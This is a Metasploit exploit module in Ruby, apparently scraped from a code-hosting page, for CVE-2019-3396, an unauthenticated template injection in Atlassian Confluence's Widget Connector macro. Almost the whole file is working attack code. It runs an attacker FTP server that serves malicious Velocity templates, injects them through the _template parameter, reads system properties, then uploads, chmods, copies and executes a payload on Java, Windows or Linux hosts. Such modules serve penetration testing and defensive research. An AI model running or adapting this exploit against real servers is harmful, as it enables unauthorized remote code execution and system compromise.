Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/http/confluence_widget_connector.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::EXE9include Msf::Exploit::FileDropper10include Msf::Exploit::Remote::HttpClient11include Msf::Exploit::Remote::FtpServer1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Atlassian Confluence Widget Connector Macro Velocity Template Injection',18'Description' => %q{19Widget Connector Macro is part of Atlassian Confluence Server and Data Center that20allows embed online videos, slideshows, photostreams and more directly into page.21A _template parameter can be used to inject remote Java code into a Velocity template,22and gain code execution. Authentication is unrequired to exploit this vulnerability.23By default, Java payload will be used because it is cross-platform, but you can also24specify which native payload you want (Linux or Windows).2526Confluence before version 6.6.12, from version 6.7.0 before 6.12.3, from version276.13.0 before 6.13.3 and from version 6.14.0 before 6.14.2 are affected.2829This vulnerability was originally discovered by Daniil Dmitriev30https://twitter.com/ddv_ua.31},32'License' => MSF_LICENSE,33'Author' => [34'Daniil Dmitriev', # Discovering vulnerability35'Dmitry (rrock) Shchannikov' # Metasploit module36],37'References' => [38[ 'CVE', '2019-3396' ],39[ 'URL', 'https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html' ],40[ 'URL', 'https://chybeta.github.io/2019/04/06/Analysis-for-%E3%80%90CVE-2019-3396%E3%80%91-SSTI-and-RCE-in-Confluence-Server-via-Widget-Connector/'],41[ 'URL', 'https://paper.seebug.org/886/']42],43'Targets' => [44[ 'Java', { 'Platform' => 'java', 'Arch' => ARCH_JAVA }],45[ 'Windows', { 'Platform' => 'win', 'Arch' => ARCH_X86 }],46[ 'Linux', { 'Platform' => 'linux', 'Arch' => ARCH_X86 }]47],48'DefaultOptions' => {49'RPORT' => 8090,50'SRVPORT' => 802151},52'Privileged' => false,53'DisclosureDate' => '2019-03-25',54'DefaultTarget' => 0,55'Stance' => Msf::Exploit::Stance::Aggressive,56'Notes' => {57'Stability' => [ CRASH_SAFE ],58'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],59'Reliability' => [ REPEATABLE_SESSION ]60}61)62)6364register_options(65[66OptAddress.new('SRVHOST', [true, 'Callback address for template loading']),67OptString.new('TARGETURI', [true, 'The base to Confluence', '/']),68OptString.new('TRIGGERURL', [69true, 'Url to external video service to trigger vulnerability',70'https://www.youtube.com/watch?v=kxopViU98Xo'71])72]73)74end7576# Handles ftp RETP command.77#78# @param ccs [Socket] Control connection socket.79# @param arg [String] RETR argument.80# @return [void]81def on_client_command_retr(ccs, arg)82vprint_status("FTP download request for #{arg}")83conn = establish_data_connection(ccs)84if !conn85ccs.put("425 Can't build data connection\r\n")86return87end8889ccs.put("150 Opening BINARY mode data connection for #{arg}\r\n")90case arg91when /check\.vm$/92conn.put(wrap(get_check_vm))93when /javaprop\.vm$/94conn.put(wrap(get_javaprop_vm))95when /upload\.vm$/96conn.put(wrap(get_upload_vm))97when /exec\.vm$/98conn.put(wrap(get_exec_vm))99else100conn.put(wrap(get_dummy_vm))101end102ccs.put("226 Transfer complete.\r\n")103conn.close104end105106# Handles ftp PASS command to suppress output.107#108# @param ccs [Socket] Control connection socket.109# @param arg [String] PASS argument.110# @return [void]111def on_client_command_pass(ccs, arg)112@state[ccs][:pass] = arg113vprint_status("#{@state[ccs][:name]} LOGIN #{@state[ccs][:user]} / #{@state[ccs][:pass]}")114ccs.put "230 Login OK\r\n"115end116117# Handles ftp EPSV command to suppress output.118#119# @param ccs [Socket] Control connection socket.120# @param arg [String] EPSV argument.121# @return [void]122def on_client_command_epsv(ccs, arg)123vprint_status("#{@state[ccs][:name]} UNKNOWN 'EPSV #{arg}'")124ccs.put("500 'EPSV #{arg}': command not understood.\r\n")125end126127# Returns a upload template.128#129# @return [String]130def get_upload_vm131<<~EOF132$i18n.getClass().forName('java.io.FileOutputStream').getConstructor($i18n.getClass().forName('java.lang.String')).newInstance('#{@fname}').write($i18n.getClass().forName('sun.misc.BASE64Decoder').getConstructor(null).newInstance(null).decodeBuffer('#{@b64}'))133EOF134end135136# Returns a command execution template.137#138# @return [String]139def get_exec_vm140<<~EOF141$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('#{@command}').waitFor()142EOF143end144145# Returns checking template.146#147# @return [String]148def get_check_vm149<<~EOF150#{@check_text}151EOF152end153154# Returns Java's getting property template.155#156# @return [String]157def get_javaprop_vm158<<~EOF159$i18n.getClass().forName('java.lang.System').getMethod('getProperty', $i18n.getClass().forName('java.lang.String')).invoke(null, '#{@prop}').toString()160EOF161end162163# Returns dummy template.164#165# @return [String]166def get_dummy_vm167<<~EOF168EOF169end170171# Checks the vulnerability.172#173# @return [Array] Check code174def check175checkcode = Exploit::CheckCode::Safe176begin177# Start the FTP service178print_status('Starting the FTP server.')179start_service180181@check_text = Rex::Text.rand_text_alpha(5..10)182res = inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}check.vm")183if res && res.body && res.body.include?(@check_text)184checkcode = Exploit::CheckCode::Vulnerable185end186rescue Msf::Exploit::Failed => e187vprint_error(e.message)188checkcode = Exploit::CheckCode::Unknown189end190checkcode191end192193# Injects Java code to the template.194#195# @param service_url [String] Address of template to injection.196# @return [void]197def inject_template(service_url, timeout = 20)198uri = normalize_uri(target_uri.path, 'rest', 'tinymce', '1', 'macro', 'preview')199200res = send_request_cgi({201'method' => 'POST',202'uri' => uri,203'headers' => {204'Accept' => '*/*',205'Origin' => full_uri(vhost_uri: true)206},207'ctype' => 'application/json; charset=UTF-8',208'data' => {209'contentId' => '1',210'macro' => {211'name' => 'widget',212'body' => '',213'params' => {214'url' => datastore['TRIGGERURL'],215'_template' => service_url216}217218}219}.to_json220}, timeout)221222unless res223unless service_url.include?('exec.vm')224print_warning('Connection timed out in #inject_template')225end226return227end228229if res.body.include? 'widget-error'230print_error('Failed to inject and execute code:')231else232vprint_status('Server response:')233end234235vprint_line(res.body)236237res238end239240# Returns a system property for Java.241#242# @param prop [String] Name of the property to retrieve.243# @return [Array] Array consisting of a result code (Integer) and, if the property could be obtained, the property (String).244def get_java_property(prop)245@prop = prop246res = inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}javaprop.vm")247if res && res.body248if res.body.empty?249return [2]250else251prop_to_return = clear_response(res.body)252if prop_to_return.blank?253return [2]254else255return [0, prop_to_return]256end257end258end259[1]260end261262# Returns the target platform.263#264# @return [String]265def get_target_platform266return get_java_property('os.name')267end268269# Checks if the target os/platform is compatible with the module target or not.270#271# @return [TrueClass] Compatible272# @return [FalseClass] Not compatible273def target_platform_compat?(target_platform)274target.platform.names.each do |n|275if n.downcase == 'java' || target_platform.downcase.include?(n.downcase)276return true277end278end279280false281end282283# Returns a temp path from the remote target.284#285# @return [String]286def get_tmp_path287return get_java_property('java.io.tmpdir')288end289290# Returns the Java home path used by Confluence.291#292# @return [String]293def get_java_home_path294return get_java_property('java.home')295end296297# Returns Java code that can be used to inject to the template in order to copy a file.298#299# @note The purpose of this method is to have a file that is not busy, so we can execute it.300# It is meant to be used with #get_write_file_code.301#302# @param fname [String] The file to copy303# @param new_fname [String] The new file304# @return [void]305def get_dup_file_code(fname, new_fname)306if fname =~ %r{^/[[:print:]]+}307@command = "cp #{fname} #{new_fname}"308else309@command = "cmd.exe /C copy #{fname} #{new_fname}"310end311312inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm")313end314315# Returns the normalized file path for payload.316#317# @return [String]318def normalize_payload_fname(tmp_path, fname)319# A quick way to check platform instead of actually grabbing os.name in Java system properties.320if tmp_path =~ %r{^/[[:print:]]+}321Rex::FileUtils.normalize_unix_path(tmp_path, fname)322else323Rex::FileUtils.normalize_win_path(tmp_path, fname)324end325end326327# Exploits the target in Java platform.328#329# @return [void]330def exploit_as_java331res_code, tmp_path = get_tmp_path332333unless res_code == 0334fail_with(Failure::Unknown, 'Unable to get the temp path.')335end336337@fname = normalize_payload_fname(tmp_path, "#{Rex::Text.rand_text_alpha(5)}.jar")338@b64 = Rex::Text.encode_base64(payload.encoded_jar)339@command = ''340341res_code, java_home = get_java_home_path342343if res_code == 0344vprint_status("Found Java home path: #{java_home}")345else346fail_with(Failure::Unknown, 'Unable to find java home path on the remote machine.')347end348349register_files_for_cleanup(@fname)350351if @fname =~ %r{^/[[:print:]]+}352normalized_java_path = Rex::FileUtils.normalize_unix_path(java_home, '/bin/java')353@command = %(#{normalized_java_path} -jar #{@fname})354else355normalized_java_path = Rex::FileUtils.normalize_win_path(java_home, '\\bin\\java.exe')356@fname.gsub!(/Program Files/, 'PROGRA~1')357@command = %(cmd.exe /C "#{normalized_java_path}" -jar #{@fname})358end359360print_status("Attempting to upload #{@fname}")361inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}upload.vm")362363print_status("Attempting to execute #{@fname}")364inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm", 5)365end366367# Exploits the target in Windows platform.368#369# @return [void]370def exploit_as_windows371res_code, tmp_path = get_tmp_path372373unless res_code == 0374fail_with(Failure::Unknown, 'Unable to get the temp path.')375end376377@b64 = Rex::Text.encode_base64(generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform))378@fname = normalize_payload_fname(tmp_path, "#{Rex::Text.rand_text_alpha(5)}.exe")379new_fname = normalize_payload_fname(tmp_path, "#{Rex::Text.rand_text_alpha(5)}.exe")380@fname.gsub!(/Program Files/, 'PROGRA~1')381new_fname.gsub!(/Program Files/, 'PROGRA~1')382register_files_for_cleanup(@fname, new_fname)383384print_status("Attempting to upload #{@fname}")385inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}upload.vm")386387print_status("Attempting to copy payload to #{new_fname}")388get_dup_file_code(@fname, new_fname)389390print_status("Attempting to execute #{new_fname}")391@command = new_fname392inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm", 5)393end394395# Exploits the target in Linux platform.396#397# @return [void]398def exploit_as_linux399res_code, tmp_path = get_tmp_path400401unless res_code == 0402fail_with(Failure::Unknown, 'Unable to get the temp path.')403end404405@b64 = Rex::Text.encode_base64(generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform))406@fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(5))407new_fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(6))408register_files_for_cleanup(@fname, new_fname)409410print_status("Attempting to upload #{@fname}")411inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}upload.vm")412413@command = "chmod +x #{@fname}"414inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm")415416print_status("Attempting to copy payload to #{new_fname}")417get_dup_file_code(@fname, new_fname)418419print_status("Attempting to execute #{new_fname}")420@command = new_fname421inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm", 5)422end423424def exploit425@wrap_marker = Rex::Text.rand_text_alpha(5..10)426427# Start the FTP service428print_status('Starting the FTP server.')429start_service430431res_code, target_platform = get_target_platform432case res_code433when 0434print_status("Target being detected as: #{target_platform}")435when 1436fail_with(Failure::Unreachable, 'Target did not respond to OS check. Confirm RHOSTS and RPORT, then run "check".')437when 2438fail_with(Failure::NoTarget, 'Failed to obtain the target OS.')439end440441unless target_platform_compat?(target_platform)442fail_with(Failure::BadConfig, 'Selected module target does not match the actual target.')443end444445case target.name.downcase446when /java$/447exploit_as_java448when /windows$/449exploit_as_windows450when /linux$/451exploit_as_linux452end453end454455# Wraps request.456#457# @return [String]458def wrap(string)459"#{@wrap_marker}\n#{string}#{@wrap_marker}\n"460end461462# Returns unwrapped response.463#464# @return [String, nil]465def clear_response(string)466string.scan(/#{@wrap_marker}\n(.*)\n#{@wrap_marker}\n/m)&.flatten&.first467end468end469470471